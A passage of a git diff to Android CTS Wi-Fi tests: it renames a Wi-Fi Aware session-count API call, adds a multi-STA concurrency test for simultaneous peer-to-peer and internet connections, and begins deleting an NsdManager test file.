         if (BuildCompat.isAtLeastS()) {
             numOfAllSubscribeSessions = mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailableSubscribeSessions();
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount();
         }
         // 1. subscribe
         session.subscribe(subscribeConfig, discoveryCb, mHandler);
@@ -688,7 +688,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllSubscribeSessions - 1, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
         }
 
         // 2. update-subscribe
@@ -717,7 +717,7 @@
                 DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
         if (BuildCompat.isAtLeastS()) {
             assertEquals(numOfAllSubscribeSessions, mWifiAwareManager
-                    .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+                    .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
         }
         session.close();
     }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
new file mode 100644
index 0000000..0c12dcd
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -0,0 +1,690 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.os.WorkSource;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isMultiStaConcurrencySupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
+ * {@link NetworkRequest} & passed into {@link ConnectivityManager#requestNetwork(NetworkRequest,
+ * ConnectivityManager.NetworkCallback)} along with a concurrent internet connection using
+ * {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestBase {
+    private static final String TAG = "MultiStaConcurrencyWifiNetworkSpecifierTest";
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetworkForPeerToPeer;
+    private WifiConfiguration mTestNetworkForInternetConnection;
+    private TestNetworkCallback mNetworkCallback;
+    private TestNetworkCallback mNrNetworkCallback;
+
+    private static final int DURATION = 10_000;
+    private static final int DURATION_UI_INTERACTION = 25_000;
+    private static final int DURATION_NETWORK_CONNECTION = 60_000;
+    private static final int DURATION_SCREEN_TOGGLE = 2000;
+    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported. Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertNotNull(wifiManager);
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertNotNull(wifiManager);
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        // skip the test if WiFi is not supported
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+        // skip if multi STA not supported.
+        assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
+
+        assertTrue("Please enable location for this test!",
+                mContext.getSystemService(LocationManager.class).isLocationEnabled());
+
+        // turn screen on
+        turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+        // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+        // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        List<WifiConfiguration> matchingNetworksWithBssid =
+                findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertTrue("Need at least 2 saved network bssids in range",
+                matchingNetworksWithBssid.size() >= 2);
+        // Pick any 2 bssid for test.
+        mTestNetworkForPeerToPeer = matchingNetworksWithBssid.get(0);
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.get(1);
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        }
+        if (mNrNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNrNetworkCallback);
+        }
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        turnScreenOff();
+    }
+
+    private static void setWifiEnabled(boolean enable) throws Exception {
+        // now trigger the change using shell commands.
+        SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
+    }
+
+    private void turnScreenOn() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE);
+    }
+
+    private void turnScreenOff() throws Exception {
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        // Since the screen on/off intent is ordered, they will not be sent right now.
+        Thread.sleep(DURATION_SCREEN_TOGGLE);
+    }
+
+    private static class TestScanResultsCallback extends WifiManager.ScanResultsCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+
+        TestScanResultsCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onScanResultsAvailable() {
+            onAvailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Loops through all the saved networks available in the scan results. Returns a list of
+     * WifiConfiguration with the matching bssid filled in {@link WifiConfiguration#BSSID}.
+     *
+     * Note:
+     * a) If there are more than 2 networks with the same SSID, but different credential type, then
+     * this matching may pick the wrong one.
+     */
+    private static List<WifiConfiguration> findMatchingSavedNetworksWithBssid(
+            @NonNull WifiManager wifiManager, @NonNull List<WifiConfiguration> savedNetworks) {
+        if (savedNetworks.isEmpty()) return Collections.emptyList();
+        List<WifiConfiguration> matchingNetworksWithBssids = new ArrayList<>();
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        for (int i = 0; i < SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID; i++) {
+            // Trigger a scan to get fresh scan results.
+            TestScanResultsCallback scanResultsCallback =
+                    new TestScanResultsCallback(countDownLatch);
+            try {
+                wifiManager.registerScanResultsCallback(
+                        Executors.newSingleThreadExecutor(), scanResultsCallback);
+                wifiManager.startScan(new WorkSource(myUid()));
+                // now wait for callback
+                assertTrue(countDownLatch.await(
+                        DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            } catch (InterruptedException e) {
+            } finally {
+                wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+            }
+            List<ScanResult> scanResults = wifiManager.getScanResults();
+            if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+            for (ScanResult scanResult : scanResults) {
+                WifiConfiguration matchingNetwork = savedNetworks.stream()
+                        .filter(network -> TextUtils.equals(
+                                scanResult.SSID, removeDoubleQuotes(network.SSID)))
+                        .findAny()
+                        .orElse(null);
+                if (matchingNetwork != null) {
+                    // make a copy in case we have 2 bssid's for the same network.
+                    WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+                    matchingNetworkCopy.BSSID = scanResult.BSSID;
+                    matchingNetworksWithBssids.add(matchingNetworkCopy);
+                }
+            }
+            if (!matchingNetworksWithBssids.isEmpty()) break;
+        }
+        return matchingNetworksWithBssids;
+    }
+
+    private void assertConnectionEquals(@NonNull WifiConfiguration network,
+            @NonNull WifiInfo wifiInfo) {
+        assertEquals(network.SSID, wifiInfo.getSSID());
+        assertEquals(network.BSSID, wifiInfo.getBSSID());
+    }
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+        public boolean onUnavailableCalled = false;
+        public NetworkCapabilities networkCapabilities;
+
+        TestNetworkCallback(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
+                LinkProperties linkProperties, boolean blocked) {
+            onAvailableCalled = true;
+            this.networkCapabilities = networkCapabilities;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            onUnavailableCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
+        private final Object mLock;
+
+        public boolean onRegistrationCalled = false;
+        public boolean onAbortCalled = false;
+        public boolean onMatchCalled = false;
+        public boolean onConnectSuccessCalled = false;
+        public boolean onConnectFailureCalled = false;
+        public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
+        public List<ScanResult> matchedScanResults = null;
+
+        TestNetworkRequestMatchCallback(Object lock) {
+            mLock = lock;
+        }
+
+        @Override
+        public void onUserSelectionCallbackRegistration(
+                WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
+            synchronized (mLock) {
+                onRegistrationCalled = true;
+                this.userSelectionCallback = userSelectionCallback;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onAbort() {
+            synchronized (mLock) {
+                onAbortCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onMatch(List<ScanResult> scanResults) {
+            synchronized (mLock) {
+                // This can be invoked multiple times. So, ignore after the first one to avoid
+                // disturbing the rest of the test sequence.
+                if (onMatchCalled) return;
+                onMatchCalled = true;
+                matchedScanResults = scanResults;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectSuccess(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectSuccessCalled = true;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void onUserSelectionConnectFailure(WifiConfiguration config) {
+            synchronized (mLock) {
+                onConnectFailureCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
+        // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
+        // cannot be reset.
+        // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
+        Object uiLock = new Object();
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestNetworkRequestMatchCallback networkRequestMatchCallback =
+                new TestNetworkRequestMatchCallback(uiLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // 1. Wait for registration callback.
+            synchronized (uiLock) {
+                try {
+                    mWifiManager.registerNetworkRequestMatchCallback(
+                            Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertTrue(networkRequestMatchCallback.onRegistrationCalled);
+            assertNotNull(networkRequestMatchCallback.userSelectionCallback);
+
+            // 2. Wait for matching scan results
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            assertTrue(networkRequestMatchCallback.onMatchCalled);
+            assertNotNull(networkRequestMatchCallback.matchedScanResults);
+            assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
+
+            // 3. Trigger connection to one of the matched networks or reject the request.
+            if (shouldUserReject) {
+                networkRequestMatchCallback.userSelectionCallback.reject();
+            } else {
+                networkRequestMatchCallback.userSelectionCallback.select(network);
+            }
+
+            // 4. Wait for connection success or abort.
+            synchronized (uiLock) {
+                try {
+                    uiLock.wait(DURATION_UI_INTERACTION);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (shouldUserReject) {
+                assertTrue(networkRequestMatchCallback.onAbortCalled);
+            } else {
+                assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
+            }
+        } finally {
+            mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+
+    /**
+     * Tests the entire connection flow using the provided specifier.
+     *
+     * @param specifier Specifier to use for network request.
+     * @param shouldUserReject Whether to simulate user rejection or not.
+     */
+    private void testConnectionFlowWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject) {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        // Fork a thread to handle the UI interactions.
+        Thread uiThread = new Thread(() -> handleUiInteractions(network, shouldUserReject));
+
+        // File the network request & wait for the callback.
+        mNrNetworkCallback = new TestNetworkCallback(countDownLatch);
+        try {
+            // File a request for wifi network.
+            mConnectivityManager.requestNetwork(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .removeCapability(NET_CAPABILITY_INTERNET)
+                            .setNetworkSpecifier(specifier)
+                            .build(),
+                    mNrNetworkCallback);
+            // Wait for the request to reach the wifi stack before kick-starting the UI
+            // interactions.
+            Thread.sleep(100);
+            // Start the UI interactions.
+            uiThread.run();
+            // now wait for callback
+            assertTrue(countDownLatch.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+        }
+        if (shouldUserReject) {
+            assertTrue(mNrNetworkCallback.onUnavailableCalled);
+        } else {
+            assertTrue(mNrNetworkCallback.onAvailableCalled);
+            assertConnectionEquals(
+                    network, (WifiInfo) mNrNetworkCallback.networkCapabilities.getTransportInfo());
+        }
+
+        try {
+            // Ensure that the UI interaction thread has completed.
+            uiThread.join(DURATION_UI_INTERACTION);
+        } catch (InterruptedException e) {
+            fail("UI interaction interrupted");
+        }
+    }
+
+    private void testSuccessfulConnectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) {
+        testConnectionFlowWithSpecifier(network, specifier, false);
+    }
+
+    private void testUserRejectionWithSpecifier(
+            WifiConfiguration network, WifiNetworkSpecifier specifier) {
+        testConnectionFlowWithSpecifier(network, specifier, true);
+    }
+
+    private static String removeDoubleQuotes(String string) {
+        return WifiInfo.sanitizeSsid(string);
+    }
+
+    private static class TestActionListener implements WifiManager.ActionListener {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onSuccessCalled = false;
+        public boolean onFailedCalled = false;
+        public int failureReason = -1;
+
+        TestActionListener(CountDownLatch countDownLatch) {
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onSuccess() {
+            onSuccessCalled = true;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onFailure(int reason) {
+            onFailedCalled = true;
+            mCountDownLatch.countDown();
+        }
+    }
+
+    /**
+     * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+     * WifiConfiguration, WifiManager.ActionListener)}
+     */
+    private void testConnectionFlowWithConnect(@NonNull WifiConfiguration network) {
+        CountDownLatch countDownLatchAl = new CountDownLatch(1);
+        CountDownLatch countDownLatchNr = new CountDownLatch(1);
+        TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+        mNetworkCallback = new TestNetworkCallback(countDownLatchNr);
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // File a callback for wifi network.
+            mConnectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(TRANSPORT_WIFI)
+                            .addCapability(NET_CAPABILITY_INTERNET)
+                            .build(),
+                    mNetworkCallback);
+            // Trigger the connection.
+            mWifiManager.connect(network, actionListener);
+            // now wait for action listener callback
+            assertTrue(countDownLatchAl.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            // check if we got the success callback
+            assertTrue(actionListener.onSuccessCalled);
+
+            // Wait for connection to complete & ensure we are connected to the saved network.
+            assertTrue(countDownLatchNr.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+            assertTrue(mNetworkCallback.onAvailableCalled);
+            assertConnectionEquals(
+                    network, (WifiInfo) mNetworkCallback.networkCapabilities.getTransportInfo());
+        } catch (InterruptedException e) {
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private static WifiNetworkSpecifier.Builder
+            createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+            @NonNull WifiConfiguration network) {
+        WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
+                .setSsid(removeDoubleQuotes(network.SSID))
+                .setBssid(MacAddress.fromString(network.BSSID));
+        if (network.preSharedKey != null) {
+            if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+                specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(network.preSharedKey));
+            } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+                specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(network.preSharedKey));
+            } else {
+                fail("Unsupported security type found in saved networks");
+            }
+        } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
+        } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+            fail("Unsupported security type found in saved networks");
+        }
+        specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
+        return specifierBuilder;
+    }
+
+    private long getNumWifiConnections() {
+        Network[] networks = mConnectivityManager.getAllNetworks();
+        return Arrays.stream(networks)
+                .filter(n ->
+                        mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+                .count();
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using peer to peer API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToPeerPeerNetworkWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertEquals(2, getNumWifiConnections());
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using peer to peer API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
+        // First trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Now trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertEquals(2, getNumWifiConnections());
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Trigger connect to a network using peer to peer API which is rejected by user.
+     * 3. Verify that only one connection is active.
+     */
+    @Test
+    public void testPeerToPeerConnectionRejectWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testUserRejectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there is only 1 wifi connection available for apps.
+        assertEquals(1, getNumWifiConnections());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
deleted file mode 100644
index a65f06f..0000000
--- a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
+++ /dev/null
@@ -1,594 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.wifi.cts;
-
-import android.content.Context;
-import android.net.nsd.NsdManager;
-import android.net.nsd.NsdServiceInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.ServerSocket;
-import java.util.Arrays;
-import java.util.Random;
-import java.util.List;
-import java.util.ArrayList;
-
-@AppModeFull(reason = "Socket cannot bind in instant app mode")
-public class NsdManagerTest extends WifiJUnit3TestBase {
-
-    private static final String TAG = "NsdManagerTest";
-    private static final String SERVICE_TYPE = "_nmt._tcp";
-    private static final int TIMEOUT = 2000;
-
-    private static final boolean DBG = false;
-
-    NsdManager mNsdManager;
-
-    NsdManager.RegistrationListener mRegistrationListener;
-    NsdManager.DiscoveryListener mDiscoveryListener;
-    NsdManager.ResolveListener mResolveListener;
-    private NsdServiceInfo mResolvedService;
-
-    public NsdManagerTest() {
-        initRegistrationListener();
-        initDiscoveryListener();
-        initResolveListener();
-    }
-
-    private void initRegistrationListener() {
-        mRegistrationListener = new NsdManager.RegistrationListener() {
-            @Override
-            public void onRegistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onRegistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onUnregistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onUnregistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceRegistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceRegistered", serviceInfo);
-            }
-
-            @Override
-            public void onServiceUnregistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceUnregistered", serviceInfo);
-            }
-        };
-    }
-
-    private void initDiscoveryListener() {
-        mDiscoveryListener = new NsdManager.DiscoveryListener() {
-            @Override
-            public void onStartDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStartDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onStopDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStopDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onDiscoveryStarted(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStarted", info);
-            }
-
-            @Override
-            public void onDiscoveryStopped(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStopped", info);
-            }
-
-            @Override
-            public void onServiceFound(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceFound", serviceInfo);
-            }
-
-            @Override
-            public void onServiceLost(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceLost", serviceInfo);
-            }
-        };
-    }
-
-    private void initResolveListener() {
-        mResolveListener = new NsdManager.ResolveListener() {
-            @Override
-            public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onResolveFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceResolved(NsdServiceInfo serviceInfo) {
-                mResolvedService = serviceInfo;
-                setEvent("onServiceResolved", serviceInfo);
-            }
-        };
-    }
-
-
-
-    private final class EventData {
-        EventData(String callbackName, NsdServiceInfo info) {
-            mCallbackName = callbackName;
-            mSucceeded = true;
-            mErrorCode = 0;
-            mInfo = info;
-        }
